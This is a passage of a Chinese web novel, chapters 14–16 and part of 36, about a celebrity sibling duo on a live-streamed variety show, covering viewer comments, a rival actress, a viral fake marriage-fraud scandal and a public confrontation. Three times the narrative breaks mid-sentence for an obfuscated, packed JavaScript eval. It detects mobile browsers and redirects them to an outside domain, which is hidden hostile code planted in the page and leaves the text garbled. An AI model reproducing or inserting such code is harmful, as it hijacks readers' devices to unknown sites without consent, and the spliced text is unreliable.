这个念头刚冒出来,就听见车外传来一阵熟悉的笑语声,其中一道清润的女声穿透雨幕,清晰地钻进耳朵里:“……幸好跑得快,不然就成落汤鸡了。” 是江知雾! 江砚舟几乎是条件反射般弹起身,抓起旁边节目组备着的伞,动作快得带起一阵风。李柏刚把吉他塞进后备箱里,抬头就见身边的人已经冲了出去,只留下一道残影。 直播间的观众一脸懵逼: 【卧槽?刚刚是什么东西闪过去了?】 【江砚舟听到姐姐的声音,直接一个弹射起步哈哈哈哈哈。】 【这么激动的嘛!】 14. 第 14 章 豆大的雨点还在噼里啪啦往下砸,江知雾正和李乐乐挤在同一屋檐下拍掉身上的雨珠。 “刚才还好好的,怎么突然就下雨了……”李乐乐的话刚说了一半,就见一道黑影“嗖”地从雨里蹿出来,带着风直冲到面前。 她吓得“啊”地低呼一声,猛地往江知雾身后缩了缩,抓着的手机差点吓飞出去。 江知雾也被这突如其来的动静微微惊了下,抬眼看清来人,不由挑眉:“砚舟?” 江砚舟直到这时才后知后觉地意识到自己表现得太急了,赶紧绷着脸来了个急刹车。 弹幕却不吃他这套了: 【哈哈哈哈哈你再装酷哥试试呢?】 【感觉晚半秒就得撞墙上了。】 【有点幻视等我下班的狗子hhh,顶流有时候也挺萌的嘛。】 江知雾看着弟弟这副样子,实在没忍住,抬手就往他头上呼噜了一把。 江砚舟维持着一脸凶巴巴的表情,把头侧过去,任由江知雾的手在他头上作乱。 回到别墅之后,嘉宾们各自回房洗澡。 江砚舟拿了个衣架,把江知雾放在门后的衣服撑开,将领口理得平平整整,连袖口的褶皱都仔细捋了捋,才轻轻挂回衣帽架上。 随后,他把自己的衣服抖了抖,两只手一合,三两下就把衣服团成个皱巴巴的球,随手抛进行李箱的角落。 弹幕忍不住吐槽: 【姐姐的衣服:小心翼翼伺候着;自己的衣服:团吧团吧随便塞。】 【哈哈哈哈,所以姐姐的衣服不能有一丝褶皱,自己的就能随便造是吗?】 江知雾从浴室出来的时候,看到对面房间的江砚舟正一脚把行李箱给合上。 她便径直走到桌前,从包包里掏出一个鼓鼓囊囊的布袋,“哗啦”一声倒在桌面上。 硬币和纸币滚落的清脆声响在安静的房间里格外清晰,江砚舟循着声音看过去,眼睛倏地瞪圆了。 桌上铺着一层花花绿绿的钞票,还有不少沉甸甸的硬币在灯下闪着光,零零总总堆在一起,竟有不小的一堆。 比他奋力弹唱了一天赚的还多。 “你怎么弄到这么多钱的?”江砚舟忍不住问。 李乐乐在用走廊的吹风机吹头发,闻言笑着插话:“这可都是江姐姐的功劳。她拿昨天赚的钱找了卖草编手工艺的老爷爷,让他照着当地那座钟楼和古桥编了些小纪念品。” 江知雾数钱的动作没停,头也不抬地补充:“那些小玩意儿做得精巧,又带着本地特色,游客们特别喜欢,一上午就卖得差不多了。刚才跟乐乐分完成,剩下的就这些。” 直播间的观众听得目瞪口呆。 昨天嘉宾们赚的钱观众都知道有多少,本以为也就够日常开销,没想到江知雾竟能凭着这点本钱,捣鼓出这么大一笔收获。 【我的天!姐姐这商业头脑绝了啊!】 【别人还在辛辛苦苦打零工,江知雾直接开启创业模式。】 【这就是传说中的钱生钱吗?学到了学到了!】 【江姐姐不仅人美,脑子还这么好使,顶流有这样的姐姐也太幸福了吧!】 等江知雾数完最后一张钱,姐弟俩把所有钱归拢到一起,用赚取的资金向节目组点了餐丰盛的饭菜。 相比于江家姐弟这边温馨的场景,沈聿和温景之间的氛围就要紧张得多。 因为沈聿不认真做事,餐馆老板扣了他一部分的工钱。靠温景兼职的那点零工,根本不够他点上几样好菜。 他特意把摄像头给关了,气愤地用筷子戳着豆腐:“这都是些什么破菜啊,没一个能吃的。” 温景坐在对面的椅子上,低着头,左手手腕上缠着一圈纱布,隐隐能看到渗出来的血丝。 那是下午帮餐馆老板照看宠物时,被突然窜出来的猫抓伤的。她正拿着棉签蘸着碘伏,小心翼翼地往伤口周围涂抹,动作轻缓,像是没听见沈聿的抱怨。 “跟你说话呢,你听见没有?”沈聿见温景不搭理他,火气更上来了,“我看你根本就不是真心想帮我,故意划水是吧?” 他的目光扫过温景手腕上的纱布,完全忽略了那抹刺目的红,眼神里只有对饭菜的不满和对温景的指责。 温景涂药的手顿了顿,指尖微微泛白,却依旧没抬头,只是沉默地换了根棉签,继续往伤口上抹药。 沈聿对此越发不满,骂骂咧咧地发着脾气。 * 别墅的走廊尽头,黄芷禾手里拎着两个包装好的汉堡,脚步轻快地停在江汀的房门前。 她低头看了眼手里的食物,嘴角预先弯起一抹笑意,似乎完全没意识到自己该先敲敲门,就直接伸手推开了房门。 “咔哒”一声轻响,房门被推开一条缝隙,随即被她完全拉开。 正在换衣服的江汀被这突如其来的动静打断,下意识地抬起头,眉头几不可察地皱了一下。 他三两下套上衣服,目光落在黄芷禾身上,静静地看着她。 黄芷禾像是没察觉到江汀那瞬间的皱眉,笑眯眯地走进来,把手里的汉堡递到他面前:“江汀,这是我订的汉堡,你快趁热吃吧。” 直播间里,粉丝们立刻被黄芷禾的体贴暖到了: 【她肯定是担心江汀饿到,才这么着急送过来的,好暖心。】 【这温柔的语气,谁听了不心动啊,感觉江汀好幸福。】 不过,也有一些观众注意到了细节,发出了不同的声音: 【等等,她怎么不敲门就直接进来了啊?这样不太好吧。】 【就是啊,不管关系怎么样,进别人房间先敲门不是基本的礼貌吗?】 【虽然看起来是好意,但这个行为确实有点不妥,江汀毕竟还在换衣服啊。】 * 次日清晨的任务卡如期出现在餐厅中央,节目组用红色马克笔圈出重点:完成指定游戏方可领取早餐。 李乐乐踮脚看清卡片内容,笑嘻嘻地喊:“哥,我们抽到挑战绕口令任务了!” 作为播音主持专业出身的人,兄妹两念个绕口令可以说手到擒来。 沈聿他们组抽到的是诗词考验。 听到“诗词”二字,沈聿不动声色地搡了温景一把,示意让她上。 作为就没好好念过书的纨绔,别说背诗了,就连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16085070|179541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最基础的《三字经》都记不全几句,沈聿可不想等会儿因为接不上诗句而丢脸。 他的动作很微小,但刚好推到了温景被猫抓伤的地方,温景疼得倒吸了一口冷气。 “快点。”沈聿低声催。 温景皱眉上前,看了眼自己手中的卡片:“接下句:行到水穷处”。 她垂眸思索两秒:“坐看云起时。”随后的“大漠孤烟直”接“长河落日圆”,“采菊东篱下”接“悠然见南山”,是很基础的诗句。 黄芷禾这组抽到的是数学题挑战。 她有点介意昨天没做出小学奥数题的丢脸事迹,把卡片拿到手里时略有些忐忑。 “小汀,要不你来?”黄芷禾把卡片递过去。 江汀翻到后面看了眼题目,都是些小学三年级水平的数学题。他提笔“刷刷”写出答案,递给节目组。 黄芷禾就在旁边帮忙擦汗端水,柔声说:“辛苦了。” 可惜有些路人观众不太吃这套,觉得黄芷禾的行为太过刻意。 不就是做几道简单的数学题嘛,值得又是擦汗、又是端水这么大阵仗吗? 终于轮到江砚舟,他慢悠悠地抽了张粉色签,看清内容的瞬间,脸就不由分说黑掉了。 江知雾被他的表情勾起了兴趣:“抽到什么了?” 江砚舟支支吾吾地把卡片往桌上一扔,气恼道:“有黑幕!凭什么我抽到的挑战比别人都难?!” 李乐乐悄咪咪瞅了一眼:“请面对镜头,向观众表演羞涩的告白。” 直播间的吃瓜群众纷纷叫好: 【有意思有意思,有生之年也能围观顶流告白名场面了!】 【我只能说——节目组好活!】 【哈哈哈哈xswl,江砚舟怎么这么非酋。】 江知雾眼底盛着笑意:“我们砚舟连演唱会的大荧幕都能hold住,还怕这个?” 有了江知雾这句话,江砚舟突然觉得自己不能露怯。 他把卡片往兜里一塞,梗着下巴耍酷:“小场面。” 只见这人原地踱了两步,仿佛在酝酿情绪。突然,他转身对着摄像机镜头,左手“啪”地按在镜头上方的墙壁上,标准的壁咚姿势摆得有模有样。 直播间的观众还没来得及夸赞,就见对方嘴角猛地往两边咧开,眼睛瞪得溜圆,原本该含情脉脉的眼神硬是透出股“你不答应我就活啃了你”的狠劲,凶到得像是要把镜头吞下去。 时间仿佛静止了三秒。 【哈哈哈哈救命!这哪是告白?这是要吃人吧!】 【上帝为你打开了一道门,就会为你关上一道窗。江砚舟的天赋可能全点到唱歌上了】 【不忍直视啊不忍直视,你在用你那张好看的脸做什么!】 【建议直接转型去演□□电影,这气场绝了】 江砚舟维持着龇牙咧嘴的姿势,扭头询问江知雾的意见:“我演得咋样?” 江知雾嘴唇翕动。 她在维护弟弟的自尊心和说实话之间犹豫片刻,谨慎地挑了个词: “炸裂。” 江砚舟:“?” 什么意思? 15. 第 15 章 江砚舟堪称炸裂的表演,被节目组无情地判了个黄牌。 他坐到角落生闷气,抱怨道:“什么眼光啊……” 江知雾擦了擦笑出来的眼泪,慢悠悠地走过去。 听见动静,江砚舟猛地回头,脸上还挂着没褪干净的凶相:“他们就是不懂艺术!” “是是是,”江知雾靠在门框上点头,“不过我还等着吃早饭呢,要不我帮帮你?” 江砚舟心里突然咯噔一下,直觉让他往后缩了缩:“你想干什么?” “教你怎么演羞涩啊,”江知雾慢条斯理地走到他面前,指尖在他胳膊上戳了戳,“比如八岁那年,你非得把奥特曼内裤外穿,觉得那样很帅。” 江砚舟蜷了蜷手指,强装淡定:“小时候不懂事。” 江知雾:“八岁不懂事,十岁总该聪明点了吧?” “那年你以为棉花糖就是棉花做的,把真皮沙发扣了个洞,自己舔就算了,还准备分享给我……” “啊啊啊!!”江砚舟连忙大叫着打断她,耳根红得快要渗出血来,“那都是多少年前的事了!你能不能别提了!” “我是帮你找感觉,”江知雾伸手捏了捏他的脸颊。 江砚舟发觉,他姐平时虽然一副不苟言笑的商业精英模样,实际上蔫坏蔫坏的! 重返餐厅时,他的耳尖还泛着粉。 这次没搞壁咚的花架子,只是站在镜头前,手指紧张地绞着衣角,抬眼时睫毛颤了颤,念着节目组提供的台词:“我……我喜欢你很久了。” 话音刚落,他就猛地低下头,耳后红得像泼了颜料。 时间仿佛真的慢下来了。晨光落在他发梢,连带着那点笨拙的局促都变得温柔起来。 弹幕上刷过一片“卧槽”: 【短短一分钟的时间,顶流的演技怎么突然就进化了?】 【全程蹲守他俩直播间的人表示:江姐姐功不可没。】 【哈哈哈哈江砚舟你竟然还有内裤外穿的往事。】 【果然,你亲姐就是你亲姐。】 【???楼上都在说什么,我怎么看不懂了。】 【建议直接看他们俩直播间,真的能被笑死。】 刚开播的短短一小时内,江知雾和江砚舟的直播间人气就远超他人,断层第一。 对此浑然不知的江砚舟尚在忐忑:“现在能通过了吧?” “过。”导演毫不犹豫地挥手。 一直安静坐着的温景突然抬起头,认真地点评道:“你的表演很有灵气。” 江砚舟闻言有些微微的讶异。 毕竟这位金牌制片人眼光毒辣,圈里多少演员挤破头都想得到她一句肯定,没想到他这种非专业人士居然也能被表扬。 “谢谢温老师。”他礼貌地道谢,下意识地往江知雾那边瞥。 江知雾冲他比了个口型:“不错哦。” 江砚舟的嘴角再也压不住,像被按了弹簧似的翘得老高,转身回座位时脚步都带着点雀跃。 黄芷禾坐在原位,指尖无意识地抠着衣角,心里像塞了团乱麻。 明明自己才是科班出身的演员,可刷了这么多天脸,温景却对她始终不冷不热,从未给予特殊关注。 反观江砚舟和江知雾姐弟,不仅得了温景的格外青眼,连带着在综艺上的话题度和人气都稳居榜首。 她目光又不由自主地落在了江知雾身上。 此时江知雾正低头看着手机,神情专注。黄芷禾心里本就憋着一股劲儿,见江知雾这副模样,更是好奇她在看什么,便不动声色地往她那边挪了挪身子,偷偷关注着她的动静。 江知雾此刻确实在忙正事,她点开微博私信,发现上回那个自称“知名导演”的骗子又发来消息了。 对方言辞恳切,字里行间满是急切,反复强调想让她的画作为新戏的角色造型设计,还说已经找了很多画师都不满意,只有她的风格最贴合角色灵魂。 江知雾看着对方锲而不舍的样子,想着或许可以进一步了解情况,便回复同意加微信详谈。 这人似乎一直在蹲守她的回复,第一时间就与江知雾交换了联系方式。 微信好友申请刚通过,对方就发来一长串消息,还附带了几张剧本片段的截图。 【江小姐,实在抱歉之前用“知名导演”这种模糊的说法,我是《雾锁山城》的执行导演,姓张。】 【我们这部戏的男女主设定很特别,女主是民国时期留洋归来的建筑设计师,您画里那种“易碎感里裹着锋芒”的气质,跟她完全契合!】 江知雾指尖划过屏幕,看着剧本里“白若渝”这个名字,以及旁边标注的“偏爱浅色调调旗袍”的细节,眉梢微微挑起。 对方紧接着发来一段语音,背景里隐约有键盘敲击声:“我知道您可能觉得突然,毕竟咱们素未谋面。但之前无意中刷到您微博那幅《雨夜钟楼》,女主角站在廊下撑伞的背影,简直就是我想象中白若渝的样子!” 他语速飞快,带着抑制不住的兴奋:“道具组找了三个月,愣是没做出让导演满意的旗袍纹样。您那幅画里服装的暗纹,能不能……能不能借个灵感?我们愿意支付版权费,或者干脆请您担任全片造型顾问!” 江知雾盯着“全片造型顾问”几个字,回复道:【剧本我先看看,纹样设计需要结合人物性格、还有主要人物关系细化。】 张导几乎是秒回:【太感谢了!我把重要角色的人物小传都发您!对了,过几个月剧组试装,您要是有空来现场看看?道具库有上百种老绣片,说不定能给您灵感!】 江知雾看着不断弹出的消息,心里对这个设计任务多了几分兴趣。 黄芷禾无意中瞥到了她手机屏幕上残留的聊天界面,虽然只是匆匆一眼,但她清楚地看到了那个熟悉的微信头像。 这不是她想争取的那部新戏的导演张平吗? 黄芷禾顿时心惊肉跳。 果然,江知雾就是想进娱乐圈! 她一个圈外人,竟然悄无声息地搭上了这么好的资源,这让在演艺圈摸爬滚打多年的黄芷禾心里更不是滋味了,看向江知雾的眼神也多了几分警惕和复杂。 黄芷禾不动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16085071|179541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声色地拿出手机,假装刷着朋友圈,指尖却点进了直播间。 这一看,黄芷禾顿时感觉天塌了。 明明江砚舟脾气臭、黑粉多,但他和江知雾直播间的人气却达到了恐怖的量级,连带着江砚舟糟糕的路人缘都被挽回了不少。 反观她这边,竟然被不少人批判用力过猛,显得太刻意。 怎么变成了这样? 黄芷禾深吸一口气收起手机,抬眸时恰好对上镜头。 她忙扯出一个自然的笑,端起茶杯抿了一口,掩饰住眼底翻涌的情绪。 早餐很快结束,节目组宣布上午的任务是自由逛街,顺便完成几个与当地特色相关的打卡小游戏。 下了车,喧闹的街市气息便扑面而来。青石板路两旁摆满了琳琅满目的小摊,糖画艺人正用糖浆勾勒出栩栩如生的龙凤,叫卖声、欢笑声混杂着食物的香气。 跑在最前方的李乐乐突然发出兴奋的尖叫。 “啊啊啊!是季宁深!” 众人顺着她手指的方向看去,只见街角的巨幅广告牌上,季宁深穿着一身剪裁得体的黑色西装,眉眼深邃,唇边噙着一抹恰到好处的微笑,正是他新代言的奢侈品广告。 李乐乐双手合十,一脸激动地盯着海报:“季宁深真的太绝了!实力派里最帅的,帅哥里最会演戏的!有实力却超低调,除了作品几乎零绯闻……” 她叽叽喳喳地分享着季宁深的事迹,眼睛里闪烁着崇拜的光芒。 江知雾顺着她的话看了眼海报,客观评价道:“确实挺帅的,气质很独特。” 话音刚落,身边突然传来一声轻哼。 她转头,正对上江砚舟紧绷的侧脸。 江知雾有些好笑。 她当然知道江砚舟为什么不高兴。 季宁深虽然和江砚舟走的路线不同,算不上直接对家,但两人都是圈内公认的“神颜”,又同为顶流,总被媒体和粉丝拿出来比较。 尤其是每次评选“内娱颜值天花板”,两人的名字必定捆绑出现,明里暗里的较量从未断过,也算得上是王不见王了。 这时,李乐乐还在兴致勃勃地说:“听说他下部戏要挑战民国军官角色,光看路透图我就已经开始期待了……” 江砚舟的脸色更沉了,脚步都放慢了半拍,落在队伍最后面。 江知雾刻意停下等他,语气带着点哄小孩的意味:“唔……其实我们家江砚舟也很帅。” 江砚舟:“我才没那么好哄!” 江知雾挑眉,视线扫过旁边的糖画摊。 她快步走过去,买了一串裹着晶莹糖衣的糖葫芦,递到江砚舟面前,晃了晃:“那这个呢?吃不吃?” 红彤彤的山楂果裹着琥珀色的糖壳,在阳光下闪着诱人的光泽,酸甜的气息直往人鼻子里钻。 江砚舟依旧板着脸,语气却软了下来,瓮声瓮气地吐出一个字: “……吃。” 弹幕早笑疯了: 【哈哈哈哈哈哈哈哈哈一秒破功!】 【说好的难哄,结果一个糖葫芦就哄好了。】 16. 第 16 章 嘉宾们完成了节目组的打卡活动后,日头渐渐爬上半空。 江砚舟发现姐姐的额头渗出些汗珠,顺势拐弯进了路旁的小卖部,向老板要了湿巾和几瓶水。 沈聿早就渴得口干舌燥,但他昨晚吃饭已经把钱给花光了,兜里分文不剩。 正急着四处张望时,就看见江砚舟拎着个塑料袋从小卖部出来,里面鼓鼓囊囊塞着两三瓶水,瓶身还凝着白汽,一看就冰得解渴。 “砚舟,”沈聿下意识往前迈了半步,语气带着几分熟稔的随意,“正好渴了,分瓶水呗?” “自己买。” 江砚舟脚步没停,几乎是擦着沈聿的胳膊走了过去,塑料袋里的水瓶碰撞着发出轻响,连个眼神都没分给旁边的人。 沈聿伸在半空的手僵住了,指尖还保持着摊开索要的姿势。 他下意识往旁边瞥了眼——节目组的主摄像机正对着耍宝的李乐乐,几个跟拍的小镜头也没扫过来,幸好,这略显狼狈的一幕没被拍进去。 这时,旁边的黄芷禾从自己的背包里拿出一瓶未开封的矿泉水,拧开盖子递到沈聿面前,脸上带着恰到好处的关切:“沈老师,先喝点水吧,看你好像渴坏了。” 沈聿自然地接过来,匆匆忙忙喝了一口。冰凉的液体滑入喉咙,却没能压下心里那点说不清道不明的憋闷。 黄芷禾顺势在他身边站定,目光看似随意地瞟向江砚舟的方向——此时,江砚舟正专心地低头,替江知雾拧开瓶盖。 她收回视线,语气似乎有点好奇:“沈老师,您跟江老师是有什么过节吗?”黄芷禾顿了顿,似乎在斟酌措辞,“总感觉他对您态度挺……” 黄芷禾没把话说完,但那欲言又止的模样,配合着微微蹙起的眉头,显然是在暗示江砚舟的态度格外冷淡疏离。 沈聿握着水瓶的指节紧了紧。 黄芷禾像是没察觉他的异样,继续轻声说:“刚才那下确实挺过分,换作是我,可能也会觉得有点尴尬呢。” 沈聿本来就对江砚舟积怨已久,再被这些话一激,心里那点憋闷忽然发酵成了一丝难以言说的怒火。 是啊,江家姐弟在节目里处处跟他过不去,个顶个目中无人。 不过是个被退婚的破鞋,不过是仗着点流量就嚣张的愣头青,也敢在镜头前给他甩脸子。 “沈老师?”黄芷禾的声音拉回他的思绪,她递过来一张纸巾,“您脸色不太好,是中暑了吗?” 沈聿接过纸巾擦了擦手心的汗,喉结滚动着没说话。 下午三点整。 仿佛是平地一声惊雷,节目组负责监测网络舆情的工作人员的手机猛地开始疯狂震动,提示音密集地响成一片。 年轻的女编导脸色“唰”地白了,眼睛死死盯着屏幕上的爆款热搜词条,又不敢置信地抬头看向前方浑然不觉的江知雾。 排在热搜榜首、后面跟着一个鲜红“爆”字的赫然是: #江知雾骗婚沈聿# 紧随其后的还有: #江知雾曾是沈聿未婚妻# #江知雾卷走沈家千万礼金# 热搜词条里图文并茂: 一张有着沈聿和江知雾名字的黄金长命锁照片、一份貌似是偷拍的天价礼金数目单; 一段语焉不详的文字控诉,核心信息直指江知雾曾是沈聿未婚妻,利用婚约获取沈家巨额订婚礼后突然反悔,单方面毁约不愿意结婚。 爆料者自称是“知情人士”,字字句句都在暗示江知雾人品低劣、贪慕虚荣、蓄意诈骗。 微博瞬间炸锅! 【卧槽?!什么情况?!骗婚??】 【沈聿???未婚妻??江知雾??!这俩八竿子打不着的人啊!】 【不是吧……我刚还在呲着大牙看《推开家门是你》……就来这么个惊天大瓜?】 【证据呢?就几张糊图能说明啥?开局一张嘴?】 【楼上的眼瞎?第二张图和第三张图沈家记录的礼金数目单,旁边还附着公证处的盖章,这还不够清楚吗?】 【哇靠,如果是真的也太恶心了!贪图沈家钱财!】 【沈聿家巨有钱啊!订婚礼肯定上千万起步吧?】 【怪不得沈聿第一天对江知雾态度就怪怪的!原来是前未婚夫?】 “导…导演!!不好了!”拿着手机的女编导几乎是跌撞着冲到总导演身边,声音都在发颤,急促地压低声音报告,“热搜爆了!江老师、还有沈老师……” 导演脸色剧变,一把抢过手机扫了一眼,冷汗“唰”地就下来了。 录制的突发状况他见过不少,但这种直接在爆点直播中引爆当事人惊天丑闻的,简直是核弹级灾难! 他第一反应就是通知场控和主持人,必须立刻、马上提示江知雾,同时暂停可能刺激到网络舆情的环节! 导演对着麦克风下达指令,示意靠江知雾最近的工作人员悄悄上前提醒—— 然而,好巧不巧的。 就在节目组内部全体戒备的这几秒钟空隙里,约莫八、九个活泼的年轻人,像是辨认出了明星嘉宾,兴奋地将嘉宾们包围住了。 “啊啊啊!是江砚舟!顶流现实里好帅啊!” “芷禾!芷禾看这里!” “沈聿给我们签个名吧!” 粉丝们热情地向他们打着招呼。 导演和工作人员急得直跳脚,这时候强行驱散粉丝不仅场面难看,更容易引发新的负面猜想,只能大声喊着“注意安全!保持秩序!” 江砚舟几乎是本能地将姐姐护在身后一点,隔开过度拥挤的人群,眉头微蹙。 直播间的弹幕已经变了风向: 【江知雾还有脸躲在后面?低头看看手机吧,你的嘴脸已经暴露了】 【沈聿也太惨了吧,被前任这么坑,还要强颜欢笑一起录节目,心疼死我了】 【不知道江知雾怎么有脸在镜头面前晃悠的,靠骗来的钱过日子,良心不会痛吗。】 【节目组快给力点,把热搜的事情告诉她。】 【我已经搬好小板凳准备看戏了!】 …… 混乱中,一个穿着黑色T恤的年轻男人突然往前挤了两步,目光像淬了冰似的死死钉在江知雾脸上。 他手里还攥着手机,屏幕亮得刺眼。 “江知雾!” 男人的声音陡然拔高,带着毫不掩饰的愤怒,瞬间压过了周围的欢呼和议论,让喧闹的人群猛地安静下来。 所有人的视线“唰”地一下集中到他身上。 “你还有脸在这儿录节目?”男人往前逼近半步,因为激动,脖颈上的青筋都绷了起来,“你凭什么心安理得地站在这儿?!” 江知雾抬眸看他,眼神平静得像一潭深水,没说话。 江砚舟的脸色瞬间沉了下来,往前彻底挡住男人的视线,语气森冷:“你谁?说话注意点。” “我是谁不重要!”男人根本没理江砚舟,只是死死盯着江知雾,“看看热搜吧!还在装什么呢!骗沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16085072|179541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家巨额订婚钱又拒婚!现在还舔着脸出现在沈老师面前录节目?!你的脸皮是怎么就能这么厚啊?全网都知道你是个什么东西了!” 他像找到了宣泄口,一句比一句更难听:“沈家仁厚没告你诈骗,你倒还拍起综艺想当明星了?靠骗来的钱养你这张脸吗?贱不贱啊!” “骗婚?”“捞女?” 这些指控让在场所有人先是一愣,随即像是突然反应过来什么,纷纷低头去摸口袋里的手机。 几秒后,倒抽冷气的声音、低低的惊呼、手机屏幕的光亮在一张张脸上明明灭灭——显然,所有人都看到了那条爆热搜。 目光,无数道或震惊、或探究的目光,如同实质般齐刷刷地投向江知雾。 直播间的弹幕更是炸开了锅: 【来了来了!终于有人当面问了!】 【这男的是沈聿粉丝吧?干得漂亮!】 【看江知雾怎么装!我倒要看看她还能维持多久那副清高样!】 那男人见江知雾始终不说话,火气更旺了,嗓门也越来越大:“你哑巴了?被戳穿了就不敢吭声了?拿了人家上千万礼金说反悔就反悔,你这种女人根本不配站在镜头前!就是个贪慕虚荣的骗子!” “操!你他爹的再说一遍!” 江砚舟的眼睛瞬间红了! 他猛地往前一步,手臂肌肉瞬间贲张,带着仿佛能把那男人头骨砸碎的力道,直直朝他挥去! 眼看那饱含暴怒的拳头就要砸到男人脸上—— “砚舟!” 一声清叱,声音不大,却带着不容置疑的穿透力。是江知雾。 江砚舟的拳头硬生生停滞在半空,距离那男人的脸只有几厘米。 “江知雾!”他急得眼尾发红,语气带着难以置信的愤怒,“这种人你还拦着我?我不管什么镜头不镜头,大不了这节目我不录了!” 他以为江知雾是顾忌他的明星身份,顾忌直播间的镜头,才会选择隐忍。可他不在乎,天大的流量也比不上姐姐受的委屈。 江砚舟挣了挣,想甩开江知雾的手,却没料到—— 下一秒,江知雾突然松开了他的胳膊,自己往前迈了一步。 她的动作快得让人反应不及。 “啪——!” 一声清脆响亮的巴掌声,直接把那个破口大骂的男人给扇懵了。他半边脸以肉眼可见的速度红肿起来,几道清晰的指痕瞬间浮现。 而江知雾甩出去的那只手还悬在半空,大概是刚才那一下用了太大的力气,震得她手腕发麻,连带着眉梢都轻轻蹙了一下。 “姐!”江砚舟捧着她的手,心疼得声音都变了调。 离得稍远的李乐乐根本没看清发生了什么,只看到江知雾蹙着眉和那个男人捂脸大骂的样子,下意识以为江知雾被动手推搡了。 “江姐姐你没事吧?”她的声音里带着哭腔和愤慨。 “对一个女孩子动粗算什么本事!”李柏也一脸怒气冲冲地谴责。 一向不爱说话的江汀,此刻也皱着眉走了过来。他目光扫过现场混乱的局面,最后落在江知雾微微发颤的手上,声音低沉地开口:“不管起因是什么,这样太过分了。” 被打的男人:“???” 他捂着还在发烫的脸,看看怒目圆睁的江砚舟,又看看义愤填膺的李乐乐三人,最后把目光投向一脸冷漠的江知雾,整个人都气笑了。 不是,等一下—— 被打的人是他啊!那一巴掌扇在他脸上啊! 35-40 第36章 黄芷禾的公关团队在汹涌的舆论面前彻底败下阵来。无论他们如何删帖控评、发布澄清声明,都挡不住网友们扒出的一条条实锤证据。 那些被侵占的嫁妆、被鸠占鹊巢的房间……每一个细节都像一把重锤,砸碎了她精心营造的“低调白富美”人设。 “黄小姐,那家刚签的服装代言刚发来了解约函,说品牌形象受损,要求我们支付违约金。”助理拿着手机焦头烂额地说。 黄芷禾猛地抬头,脸色惨白:“解约?他们明明说好了要续约三年的!” “不止这个,”助理硬着头皮继续汇报,“轻奢珠宝品牌和护肤品牌也发来了终止合作的通知,连之前谈好的电视剧女二号,制片方刚才也打电话说要重新评估人选……” 一个个坏消息砸过来,黄芷禾只觉得天旋地转。她引以为傲的资源在短短几天内土崩瓦解,社交平台上的粉丝量断崖式下跌。 晚上,黄芷禾哭着跑回家,扑在沙发上抽噎不止。 黄淑兰连忙递上纸巾,心疼地拍着她的背:“好了好了,不哭了,咱们再想办法。” 江明启从书房出来,看到女儿这副模样,非但没有安慰,反而一肚子火没处发泄:“哭什么哭!现在知道哭了?谁让你要在社交平台瞎炫耀那些包包首饰!现在好了吧?” 黄芷禾被骂得一怔,眼泪还挂在睫毛上:“我……我只是想分享生活,谁知道会被人扒出来……” “分享生活?”江明启冷笑一声,指着她的鼻子怒斥,“你以为我不知道你那点小心思,就是急功近利想立人设!一点脑子都没有,蠢货!” 他心里哪有半分对女儿的怜惜,满脑子都是项目违约的损失和股价下跌的数字。 黄芷禾在他眼里,不过是个能用来联姻、能装点门面的工具,现在工具惹了麻烦,自然要被迁怒。 黄芷禾如遭雷击,整个人僵在原地,脸上血色褪得干干净净。 她本以为父亲至少会安慰她几句,至少会为她的遭遇感到痛心。可她万万没想到,父亲第一反应,竟然是指责她不该晒包?竟是怪她愚蠢?! 一旁的黄淑兰见状,赶紧上前一步,轻轻拍着江明启的后背:“好了好了,明启,消消气,孩子也够难受的了。”她转向黄芷禾,语气带着责怪和惋惜,“芷禾啊,妈妈也要说你,晒包的事,你确实做得欠考虑。那些东西的由来大家心知肚明就好,怎么能那么高调地摆出来给人看呢?授人以柄啊,实在是太天真了。” “妈!”黄芷禾猛地抬头,不敢置信地看着黄淑兰。 她本以为母亲会站在自己这边,没想到连母亲都觉得是她的错。 黄淑兰对上女儿控诉的眼神,心里也是一慌,意识到自己话重了点。但她很快稳住,赶紧打圆场:“明启,事已至此,骂孩子也没用了。她那些代言……解约就解约吧,现在当务之急,是看看有没有挽回的办法。” 江明启毕竟还得指望着靠黄芷禾的工作来洗钱,所以他就算再不满,也只能深吸几口气稳住。 “算了算了,天无绝人之路,还好我当年留了一手。” * 市中心的云端会所内,江知雾刚结束一场长达两小时的合作洽谈。 包间门被服务生轻轻推开,几位高管提着设计手稿文件夹,护送着她走出来。江知雾眉宇间还带着几分谈妥合作的轻松,米色西装套裙衬得她气质干练,长发松松挽在脑后,露出纤细的脖颈线条。 一行人正要朝电梯口走去,江知雾视线不经意扫过隔壁同样刚打开门的包间。 